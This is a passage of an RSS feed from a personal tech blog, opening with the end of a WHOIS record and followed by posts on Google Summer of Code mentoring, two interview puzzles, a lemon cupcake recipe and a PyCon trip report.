Address:        2115 NW 22nd Street
Address:        #C110
City:           Miami
StateProv:      FL
PostalCode:     33142
Country:        US
RegDate:        2009-03-31
Updated:        2012-07-16
Ref:            http://whois.arin.net/rest/org/IPTEL-1

ReferralServer: rwhois://rwhois.iptelligent.com:4321

OrgNOCHandle: NOC3572-ARIN
OrgNOCName:   Network Operations Center
OrgNOCPhone:  +1-888-638-5893
OrgNOCEmail:  sysop@iptelligent.com
OrgNOCRef:    http://whois.arin.net/rest/poc/NOC3572-ARIN
&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=121810&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/121810.html</comments>
  <category>howto</category>
  <category>hack</category>
  <category>wordpress</category>
  <category>america!</category>
  <category>bad behaviour</category>
  <category>tech</category>
  <category>geek</category>
  <category>spam</category>
  <lj:security>public</lj:security>
  <lj:reply-count>2</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/121429.html</guid>
  <pubDate>Mon, 06 May 2013 16:42:36 GMT</pubDate>
  <title>Updates and links</title>
  <link>http://terriko.dreamwidth.org/121429.html</link>
  <description>First some me-related updates:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;I got to help staff a table at roborave on Saturday.  fun!  I was too busy to take pictures, so don&apos;t ask.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;GSoC ranking continues apace.  It&apos;s actually less busy for me than it was, since I don&apos;t need to interact with the students as much until selection is finished, so I&apos;ve gone from over a hundred people potentially wanting to talk to me to something closer to 20-30.  (project admins + mentors with melange trouble).  I expect there&apos;ll be some wrangling to make sure the Systers and Mailman don&apos;t have any overlapping project ideas, but that can wait a few days.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;To save people from asking me: I&apos;m not expecting to hear about the Portland job for another couple of weeks.  This is actually pretty convenient for me since it means I can focus on GSoC during the selection period; horray for good timing!&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;And then some links that amused me:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;a href=&quot;http://blog.angryasianman.com/2013/04/read-these-blogs_21.html#more&quot;&gt;Check out this awesome quote from the guy who introduced Sriracha sauce to the west.&lt;/a&gt;.  Just scroll down; it&apos;s been helpfully put into the picture of Mr. David Tran. But the article itself is pretty interesting too.  &lt;br /&gt;&lt;br /&gt;&lt;li&gt;You may have seen the link going around claiming that the Miss Korea contestants all look like clones.  I chalked it up to some sort of racist &quot;all Korean people look the same&quot; nonsense, but &lt;a href=&quot;http://kotaku.com/blame-photoshop-for-koreas-beauty-queen-clones-482285894&quot;&gt;this analysis of why they all look the same is pretty interesting&lt;/a&gt;.  Short answer: makeup and photoshop by pageant folk.  (Although I bet there&apos;s some racism involved in the spread of the link too.)&lt;br /&gt;&lt;br /&gt;&lt;li&gt;&quot;Ship just got real.&quot; &lt;a href=&quot;https://www.youtube.com/watch?v=Vxxnq5YAVHw&quot;&gt;This is the most compelling smooth-jazz voiceover in a trailer for a turn-based boat game that you&apos;re going to see today&lt;/a&gt;.  At least until &lt;a href=&quot;http://youtu.be/Ab9e764D7cI&quot;&gt;you watch the second one, which has even more boat puns&lt;/a&gt;.  J tells me that the game is actually pretty fun even though he only bought it because the trailer was hilarious.&lt;br /&gt;&lt;br /&gt;&lt;li&gt;Ever wanted to know if your interface is being messed with by a monkey?  &lt;a href=&quot;https://developer.android.com/reference/android/app/ActivityManager.html#isUserAMonkey%28%29&quot;&gt;Android has you covered with &lt;code&gt;isUserAMonkey()&lt;/code&gt;&lt;/a&gt;.    &lt;br /&gt;&lt;br /&gt;&lt;li&gt;Also, &lt;a href=&quot;https://developer.android.com/reference/android/util/Log.html#wtf%28java.lang.String,%20java.lang.Throwable%29&quot;&gt;there exists a set of &lt;code&gt;log.wtf&lt;/code&gt; functions in Android&lt;/a&gt;.  Handy!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/li&gt;&lt;/li&gt;&lt;/li&gt;&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=121429&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/121429.html</comments>
  <category>link</category>
  <category>gsoc</category>
  <category>life</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/120745.html</guid>
  <pubDate>Thu, 25 Apr 2013 23:13:13 GMT</pubDate>
  <title>Two interview questions I enjoyed</title>
  <link>http://terriko.dreamwidth.org/120745.html</link>
  <description>There&apos;s a longer, friends-locked post before this one talking about the interviews I had this week, but it occurs to me that the more general public might get a kick out of the two interview questions that most amused me:&lt;br /&gt;&lt;br /&gt;My new favourite interview question:&lt;br /&gt;&lt;br /&gt;Given this code...&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;pre&gt;
if ( X ) 
  print(&quot;hello&quot;)
else 
  print(&quot;world&quot;)
&lt;/pre&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What do you need to insert in place of X in order to get this code to print &quot;helloworld&quot; ?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And the second one:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you&apos;re in a room with a light bulb that&apos;s on, how can you make it be off?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(This was asked shortly after they told me they were asking to see if I had &lt;a href=&quot;https://www.schneier.com/blog/archives/2008/03/the_security_mi_1.html&quot;&gt;the security mindset&lt;/a&gt;, which is a pretty huge clue as to the types of answers they were hoping to hear. I had a lot of fun with this.)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I am leaving my answers out of this post so that you can think about the possibilities yourselves, but of course feel free to discuss in the comments.&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=120745&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/120745.html</comments>
  <category>security</category>
  <category>geek</category>
  <category>jobs</category>
  <lj:security>public</lj:security>
  <lj:reply-count>7</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/119976.html</guid>
  <pubDate>Mon, 22 Apr 2013 00:15:21 GMT</pubDate>
  <title>Finding the best thing (without reading all the reviews)</title>
  <link>http://terriko.dreamwidth.org/119976.html</link>
  <description>I know geeks are stereotypically supposed to love drooling over new technology and comparing specs and stuff, but that&apos;s never really been my scene.  There are things I care about enough to do research on, things I have particular requirements for that I want to meet, and then there&apos;s everything else.  I don&apos;t want to buy/download/use crap, and I don&apos;t want to read breathless review after breathless review.&lt;br /&gt;&lt;br /&gt;So I was really excited to hear about &lt;a href=&quot;http://thewirecutter.com/&quot;&gt;The Wirecutter&lt;/a&gt;, which purports to just list off the best thing (with a few alternatives) in various classes of things.&lt;br /&gt;&lt;br /&gt;It&apos;s interesting, too, that it&apos;s got stuff like &lt;a href=&quot;http://thewirecutter.com/reviews/the-best-laptop/&quot;&gt;the big wait sign on this page right now&lt;/a&gt; which tells you that new stuff is coming so if you&apos;re not desperate, you might as well wait &apos;till they&apos;ve been able to review the new things.  Makes me feel a lot more reassured about the freshness of their information.&lt;br /&gt;&lt;br /&gt;Used it for the first time yesterday to replace my defective point-and-shoot camera (which is a longer story, but one I&apos;m not telling today) and it was fantastic to spend so little time making a decision.  We&apos;ll see how it works out long run, but it&apos;s already saved me hours of my life and I came away feeling pretty close to as informed as I do after reading All The Reviews.  Win!&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=119976&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/119976.html</comments>
  <lj:security>public</lj:security>
  <lj:reply-count>1</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/119189.html</guid>
  <pubDate>Sat, 13 Apr 2013 15:47:13 GMT</pubDate>
  <title>GSoC students: Doing the personal email thing right</title>
  <link>http://terriko.dreamwidth.org/119189.html</link>
  <description>So, after &lt;a href=&quot;http://terriko.dreamwidth.org/118685.html&quot;&gt;I threatened to make this my new form letter&lt;/a&gt; (FYI: I haven&apos;t, but I do cut and paste from it to make shorter, more personal answers) the first email I see from a student is, again, personally to me, but... he was totally doing it right.  Posted to the mailing list, waited a bit for a response, checked to see who was talking about this idea last, saw it was me, then pinged me to ask if I&apos;d seen the posts (which he linked to make it easier for me) and asked if I could help answer his questions. &lt;br /&gt;&lt;br /&gt;I am so pleased. :)&lt;br /&gt;&lt;br /&gt;And now, I&apos;d best stop talking about how lovely the email is and get on to that part where I either answer him or deflect to a mentor who isn&apos;t quite so overwhelmed this weekend... Did I mention I&apos;m going out of town tomorrow?&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=119189&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/119189.html</comments>
  <category>gsoc</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/118685.html</guid>
  <pubDate>Thu, 11 Apr 2013 22:52:46 GMT</pubDate>
  <title>The GSoC email that may become my new form letter</title>
  <link>http://terriko.dreamwidth.org/118685.html</link>
  <description>&lt;em&gt;In case anyone was worried, no, I haven&apos;t actually started sending out form letters, but I am using this as a template I can cut &amp; paste from for shorter, more personal emails to students.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt;Dear prospective student,&lt;br /&gt;&lt;br /&gt;I&apos;ve been getting a *lot* of personal emails/irc queries/IM messages since I took over as the organizational administrator for the Python Software Foundation.  It&apos;s pretty neat because I&apos;m really thrilled to see so many people excited about Google Summer of Code, but mostly, you shouldn&apos;t be contacting me directly. &lt;br /&gt;&lt;br /&gt;If you&apos;re interested in one of the Python projects:&lt;br /&gt;&lt;br /&gt;Take a look at the list of organizations running projects under the PSF:&lt;br /&gt;&lt;a href=&quot;http://wiki.python.org/moin/SummerOfCode/2013&quot;&gt;http://wiki.python.org/moin/SummerOfCode/2013&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Each one has a mailing list and sometimes an IRC channel associated with it.  That is where you should be introducing yourself and asking questions. &lt;br /&gt;&lt;br /&gt;If you are not sure who to contact for any reason, you should be asking on the soc2013-general mailing list.  You can subscribe to this here:&lt;br /&gt;&lt;a href=&quot;http://mail.python.org/mailman/listinfo/soc2013-general/&quot;&gt;http://mail.python.org/mailman/listinfo/soc2013-general/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If you&apos;re emailing me with regard to Systers and not a project under the Python Software Foundation, the same things apply only the relevant list is systers-dev, available here:&lt;br /&gt;&lt;a href=&quot;http://systers.org/mailman/listinfo/systers-dev&quot;&gt;http://systers.org/mailman/listinfo/systers-dev&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Why shouldn&apos;t you email me? &lt;br /&gt;&lt;br /&gt;1. If you email the lists, lots of mentors from around the world will see your question.  If I&apos;m asleep or at work, they&apos;ll probably be able to answer it faster than I can.&lt;br /&gt;2. If you email the lists and the person answering you answers on the list, it can benefit all the people who might have a similar question.&lt;br /&gt;3. Chances are, I&apos;m not going to be the mentor for your project, so there is someone out there who can answer your question better than I can.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thanks very much, and good luck in your GSoC applications!&lt;br /&gt;&lt;br /&gt; Terri&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=118685&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/118685.html</comments>
  <category>gsoc</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/117532.html</guid>
  <pubDate>Thu, 04 Apr 2013 22:18:58 GMT</pubDate>
  <title>Lemon Googe Cupcakes (or Lubricated Lemon Cupakes, if you prefer, but you probably don&apos;t)</title>
  <link>http://terriko.dreamwidth.org/117532.html</link>
  <description>&lt;em&gt;This is crossposted from &lt;a href=&quot;http://curiousity.ca&quot;&gt;Curiousity.ca&lt;/a&gt;, my personal maker blog.  If you want to link to this post, please use &lt;a href=&quot;http://curiousity.ca/2013/lemon-googe-cupcakes/&quot;&gt;the original link&lt;/a&gt; since the formatting there is usually better.&lt;/em&gt;&lt;br /&gt;&lt;p&gt;I helpfully told my friend Adric that these cupcakes were my way of doing human testing without requiring &lt;a href=&quot;https://en.wikipedia.org/wiki/Institutional_review_board&quot;&gt;IRB&lt;/a&gt; approval.   Remember kiddies, experimental cupcakes are only one step away from mad science because my guinea pigs generally consent to the experiment!&lt;/p&gt;&lt;br /&gt;&lt;div class=&quot;wp-caption&quot;&gt;&lt;a href=&quot;http://www.flickr.com/photos/terrio/8618806218/&quot; title=&quot;Lemon Googe Cupcake (without icing) by Terriko, on Flickr&quot;&gt;&lt;img src=&quot;https://farm9.staticflickr.com/8251/8618806218_11618a407c_n.jpg&quot; width=&quot;319&quot; height=&quot;320&quot; alt=&quot;Lemon Googe Cupcake (without icing)&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;br /&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Figure 1: Lemon Googe Cupcake without icing.  Note the &amp;#8220;clever&amp;#8221; use of bad filter in attempt to disguise poor quality cell phone photo, as per cultural norms in a post-instagram world&lt;/p&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;h1&gt;Lemon Googe Cupcakes&lt;/h1&gt;&lt;br /&gt;&lt;p&gt;These come in three parts; some assembly required.  I made up the recipe as a whole based on my recollection and modification of recipes in my head / recipe card box, with some inspiration from the filled cupcakes in &lt;a href=&quot;http://www.amazon.com/gp/product/1569242739/ref=as_li_ss_tl?ie=UTF8&amp;amp;camp=1789&amp;amp;creative=390957&amp;amp;creativeASIN=1569242739&amp;amp;linkCode=as2&amp;amp;tag=terriko0f-20&quot;&gt;Vegan Cupcakes Take Over the World&lt;/a&gt; (although this is not a vegan recipe).&lt;/p&gt;&lt;br /&gt;&lt;h3&gt;Lemon Cupcake&lt;/h3&gt;&lt;br /&gt;&lt;p&gt;1/4 C (4 tbsp) butter&lt;br /&gt;&lt;br /&gt;3/4 C sugar (1/2C is probably ok for this recipe if you want to cut back)&lt;br /&gt;&lt;br /&gt;1 egg&lt;br /&gt;&lt;br /&gt;1 tsp vanilla&lt;br /&gt;&lt;br /&gt;Zest from one lemon&lt;br /&gt;&lt;br /&gt;1/2 C milk &lt;/p&gt;&lt;br /&gt;&lt;p&gt;1 tsp baking powder&lt;br /&gt;&lt;br /&gt;1 C flour&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Cream butter and sugar together; add egg, vanilla, lemon zest and milk and stir well.&lt;br /&gt;&lt;br /&gt;Add baking powder and flour and stir until smooth (but no longer).&lt;br /&gt;&lt;br /&gt;Spoon into cupcake liners (or I use silicone molds), filling about halfway.&lt;br /&gt;&lt;br /&gt;We made 16 cupcakes, you might want to fill a bit higher to get 12.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Bake at 350F for 20-25 minutes (10-15 min for mini cupcakes)&lt;/p&gt;&lt;br /&gt;&lt;h3&gt;Lemon Googe Filling&lt;/h3&gt;&lt;br /&gt;&lt;p&gt;&lt;em&gt;The name comes via my Ottawa friends: for some reason we decided that &amp;#8220;googe&amp;#8221; best described the texture of those little gel cup sweets that are considered to be a choking hazard in the US.  This nomenclature would probably have died out, but one of my friends was severely grossed out by the word, so we have used it to describe anything of a given gooey texture ever since.&lt;/em&gt;&lt;/p&gt;&lt;br /&gt;&lt;p&gt;You&amp;#8217;ll note that this is more or less a lemon pie filling recipe, omitting the egg, or a slightly gooey lemon pudding.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;1/4 C cornstarch&lt;br /&gt;&lt;br /&gt;1/2 C cold water&lt;/p&gt;&lt;br /&gt;&lt;p&gt;1 C hot water  (Or less if you want thicker googe)&lt;br /&gt;&lt;br /&gt;Juice from one lemon&lt;br /&gt;&lt;br /&gt;3/4 C icing sugar (or adjust this to taste)&lt;/p&gt;&lt;br /&gt;&lt;p&gt;~3 drops of yellow food colouring&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Mix together cornstarch and cold water, then add mixture to hot water along with lemon juice and sugar and stir well.  Heat in microwave repeatedly (around 30-45s per time), stirring after each heating, until mixture is thick and no taste of cornstarch remains.  You can probably nuke it longer between stirrings, but if it boils once it&amp;#8217;s thicker it might splatter all over your microwave, so keep an eye on it.  Add food colouring, because normal lemon pie filling gets its colour from egg yolk and you want people to immediately think &amp;#8220;lemon&amp;#8221; and not &amp;#8220;what the heck?&amp;#8221; as they might have if you had allowed your lovely assistant to use the blue colouring like he wanted.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;If you are making mini cupcakes or just don&amp;#8217;t plan to lose as much to taste-testing for the sugar, you can probably halve the googe recipe.  Or you can allow people to dip the cupcakes in the remaining googe like some sort of weird fondue; I don&amp;#8217;t judge.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;You can add sugar after the fact if you think it needs more &amp;#8212; it&amp;#8217;ll dissolve, and no one minds getting a blob of icing sugar.  You can&amp;#8217;t do this with the cornstarch, though.&lt;/p&gt;&lt;br /&gt;&lt;div class=&quot;wp-caption&quot;&gt;&lt;a href=&quot;http://www.flickr.com/photos/terrio/8617703041/&quot; title=&quot;Untitled by Terriko, on Flickr&quot;&gt;&lt;img src=&quot;https://farm9.staticflickr.com/8101/8617703041_d794081a0a_n.jpg&quot; width=&quot;180&quot; height=&quot;320&quot; alt=&quot;Lemon googe, prior to colouring&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;br /&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Figure 2: A metric ton of lemon googe, prior to colouring. (Well, ok, it&amp;#8217;s 400ml rounded up.)  This may be an excessive amount of googe for a single batch of cupakes; see experimental notes below.&lt;/p&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;h3&gt;Cream Cheese Icing&lt;/h3&gt;&lt;br /&gt;&lt;p&gt;4 oz regular cream cheese (half a package usually.  Don&amp;#8217;t use the spreadable stuff.)&lt;br /&gt;&lt;br /&gt;1/4 C butter&lt;br /&gt;&lt;br /&gt;1 tsp vanilla&lt;br /&gt;&lt;br /&gt;Around 2 C icing sugar (or however much it takes until the consistency is correct)&lt;/p&gt;&lt;br /&gt;&lt;p&gt;I suspect you&amp;#8217;re supposed to plan ahead for this and soften the butter and cream cheese in advance, but what I do is nuke those suckers together &amp;#8217;till they&amp;#8217;re practically liquid and easy to stir (around 1 min), then add vanilla and sugar &amp;#8217;till it&amp;#8217;s a slightly goopy icing consistency, and let it firm up as it cools.  This strategy actually does make it easier to deal with the final icing in this case, since it&amp;#8217;s easier to spread when a bit more liquid-y, but your mileage may vary.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;You could probably put some lemon in here too, but at this point that seems like overkill.&lt;/p&gt;&lt;br /&gt;&lt;h2&gt;Assembly instructions&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;Get an icing bag with a metal or plastic tip (sorry, this is one time that cutting the corner off a plastic bag probably isn&amp;#8217;t enough).  We&amp;#8217;ll be using this to fill the cupcakes with lemon googe.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;I chose a slightly too big tip, so my googe was spilling everywhere, and the lazy &amp;#8220;I&amp;#8217;m not sticking my hand in there to get a new tip because our kitchen sink broke this morning&amp;#8221; solution was:&lt;/p&gt;&lt;br /&gt;&lt;p&gt;1. Stab the icing tip into the cupcake.&lt;br /&gt;&lt;br /&gt;2. Spoon a tablespoon or so of googe into the bag.&lt;br /&gt;&lt;br /&gt;3. Squeeze the googe into the cupcake, trying not to go right through to the bottom&lt;br /&gt;&lt;br /&gt;Repeat, doing 1 more quickly subsequent times because you are dripping sticky slime all over the counter.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Yeay!&lt;/p&gt;&lt;br /&gt;&lt;p&gt;I had my lovely assistant do this part so it wasn&amp;#8217;t bad for me at &lt;em&gt;all&lt;/em&gt;, but you might want to save yourself the trouble and not use the largest icing tip you have on hand.&lt;/p&gt;&lt;br /&gt;&lt;div class=&quot;wp-caption&quot;&gt;&lt;a href=&quot;http://www.flickr.com/photos/terrio/8617698779/&quot; title=&quot;Lubricated lemon cupcakes by Terriko, on Flickr&quot;&gt;&lt;img src=&quot;https://farm9.staticflickr.com/8266/8617698779_35e3b69212_n.jpg&quot; width=&quot;320&quot; height=&quot;180&quot; alt=&quot;Lubricated lemon cupcakes&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;br /&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Figure 3: Lubricated lemon cupcakes.  I&amp;#8217;m pretty sure this monkier is not going to impress the friend who hates the word googe, but it&amp;#8217;s more alliterative so it can be the alternate recipe name.  Note the tools in the background include googe, an icing bag, and a place to put the icing bag so it doesn&amp;#8217;t googe all over the counter.&lt;/p&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;You now have a cupcake with a gooey hole in it.  I will refrain from juvenile jokes, but this may be the point where you&amp;#8217;ll be really glad you used the food colouring so your lovely assistant will not think of juvenile jokes.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;Cover your googe-filled cupcakes with cream cheese icing.  This will be challenging because you&amp;#8217;re basically holding a lubricated cupcake and the icing will slide off the hole in the center.  Having experimented with this, I can tell you that it is easiest to ice the outside and then cover the googe last.  It&amp;#8217;s also fun to slime the top of the cupcake and layer the icing on that, which will add extra lemony goodness but is also really messy.&lt;/p&gt;&lt;br /&gt;&lt;div class=&quot;wp-caption&quot;&gt;&lt;a href=&quot;http://www.flickr.com/photos/terrio/8617692773/&quot; title=&quot;Untitled by Terriko, on Flickr&quot;&gt;&lt;img src=&quot;https://farm9.staticflickr.com/8252/8617692773_df7efe098c_n.jpg&quot; width=&quot;202&quot; height=&quot;320&quot; alt=&quot;Untitled&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;br /&gt;&lt;p class=&quot;wp-caption-text&quot;&gt;Figure 4: Lemon googe cupcakes, partially and fully prepared&lt;/p&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;h2&gt;The Lemon Googe Cupcake Experiments&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Hypothesis&lt;/strong&gt;: lemon googe, if inserted into the cupcake 24h+ in advance, will suffuse the cupcake making it more delicious.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Method&lt;/strong&gt;:&lt;br /&gt;&lt;br /&gt;16 cupcakes were created in the initial batch.&lt;br /&gt;&lt;br /&gt;2 were assembled and eaten immediately and declared delicious by both experimental subjects J and T.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;The remaining cupcakes have been divided into two groups.  One has been filled with googe and iced and placed in the fridge to age for 24h.  After the time has elapsed, two prepared cupcakes will be removed from refrigeration and eaten by experimental subjects J and T. If they are deemed an improvement over the freshly assembled cupcakes, the rest of the batch will be prepared in a similar manner.  After 48h have passed, experimental subjects will be able to compare 0-day cupcakes, 24h cupcakes, and 48h cupcakes.  If the prepared cupcakes are deemed unsuitable at 24h (likely due to structural integrity failures), then the control batch will be left untouched until shortly before the 2600 meeting which will represent our larger clinical cupcake trial.  This will not be a double-blinded experiment, although one could be conducted at a later date to more comprehensively test cupcake saturation over time.&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Hypothesis 2&lt;/strong&gt;: 400ml is way to much googe&lt;/p&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Method&lt;/strong&gt;: 400ml of googe solution has been prepared and will be inserted into cupcakes as described above.  If the cupcakes cannot hold this amount of googe, the remainder will be given to the experimental subjects for consumption or further experimentation.  We will report back on crowdsourced solutions for too much googe after the clinical trials are complete.&lt;/p&gt;&lt;br /&gt;&lt;h2&gt;Cupcake Clinical Trial&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;If you wish to participate in this clinical cupcake trial, please attend the 2600 meeting at &lt;a href=&quot;http://quelab.net&quot;&gt;Quelab&lt;/a&gt; on Friday April 5, 2013.   Please note that I have not obtained ethics approval for this experiment and you will be participating at your own risk.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=117532&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/117532.html</comments>
  <lj:security>public</lj:security>
  <lj:reply-count>3</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/116435.html</guid>
  <pubDate>Tue, 26 Mar 2013 06:04:10 GMT</pubDate>
  <title>Back from Pycon!</title>
  <link>http://terriko.dreamwidth.org/116435.html</link>
  <description>I should write up a proper trip report with pictures and stuff, but as it&apos;s nearly midnight and I don&apos;t want my sleeping patterns to stay on California time, you get some short highlights:&lt;br /&gt;&lt;br /&gt;1. The conference itself was awesome.  Recall: I attended the sprints last year but not the main conference, so while I had high hopes I didn&apos;t &lt;em&gt;know&lt;/em&gt; that the content would be so good.  I attended a lot of great talks and no doubt missed quite a few as well.  I&apos;ll be making heavy use of the conference recordings over the next little while, I expect. &lt;br /&gt;&lt;br /&gt;2. I am really excited about my free raspberry pi.  While I know lots of folk who frequently get given cool toys and told to go hack them, this is the first time someone has gifted me with such an item/mission, and it feels great.  I haven&apos;t figured out what I&apos;m going to do yet, but there was this great talk about hooking one up to a $300 CNC machine, and another great one about home automation that could be useful...&lt;br /&gt;&lt;br /&gt;3. The sprints were super-productive!  &lt;a href=&quot;http://wiki.list.org/display/DEV/PyCon+Sprint+2013&quot;&gt;You can see our todo/completed/waiting list here&lt;/a&gt; if you want the nitty gritty.  I&apos;d been joking earlier to anyone who asked that we were totally going to release by Friday, and while we didn&apos;t do that, we *are* very close and you should all expect a beta release of postorius + Mailman 3 very soon.  I can&apos;t wait to show it off!  &lt;br /&gt;&lt;br /&gt;4. Perhaps later I&apos;ll do up the stats on exactly what I was doing to our repository, but I should tell you that not only did I make plenty of my own code commits, but I also got to merge code from new contributors.  This was totally my favourite part, seeing new folk get their code accepted and in the main tree.  And it wasn&apos;t just the people who were physically at the sprints with us: I also merged code from people contributing remotely, most of whom are prospective GSoC students.  Way to impress me, students! &lt;br /&gt;&lt;br /&gt;5. I got to talk to a bunch of people about GSoC.  I do this all the time by email, but it was especially fun to talk to folk in person about what&apos;s involved, why it&apos;s awesome, how to be good at it, and why they should sign up.  &lt;br /&gt;&lt;br /&gt;6. And post-con, I got a few days to catch up with friends in the area and visit the Japanese Tea Gardens in Golden Gate Park, which I&apos;ve wanted to do ever since I read &lt;a href=&quot;http://seananmcguire.com/toby.php&quot;&gt;Seanan Mcguire&apos;s October Daye books&lt;/a&gt;.  As I processed a few photos for this week&apos;s assignment, you get one here:&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.flickr.com/photos/terrio/8588238900/&quot; title=&quot;1/400s of meditation in a tea garden by Terriko, on Flickr&quot;&gt;&lt;img src=&quot;https://farm9.staticflickr.com/8089/8588238900_b69f71c2af.jpg&quot; width=&quot;333&quot; height=&quot;500&quot; alt=&quot;1/400s of meditation in a tea garden&quot;&gt;&lt;/img&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And with that, midnight has rung and it&apos;s bedtime.  I have a long week of catch-up ahead of me at work, but expect some more pycon / mailman / gsoc posts out of me over the next little while as I internalize all the things I&apos;ve been thinking about this past week.&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=116435&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/116435.html</comments>
  <category>pycon</category>
  <category>photo</category>
  <category>mailman</category>
  <category>geek</category>
  <category>gsoc</category>
  <lj:security>public</lj:security>
  <lj:reply-count>2</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/116031.html</guid>
  <pubDate>Wed, 13 Mar 2013 17:45:15 GMT</pubDate>
  <title>PyCon PyCon PyCon PyCon</title>
  <link>http://terriko.dreamwidth.org/116031.html</link>
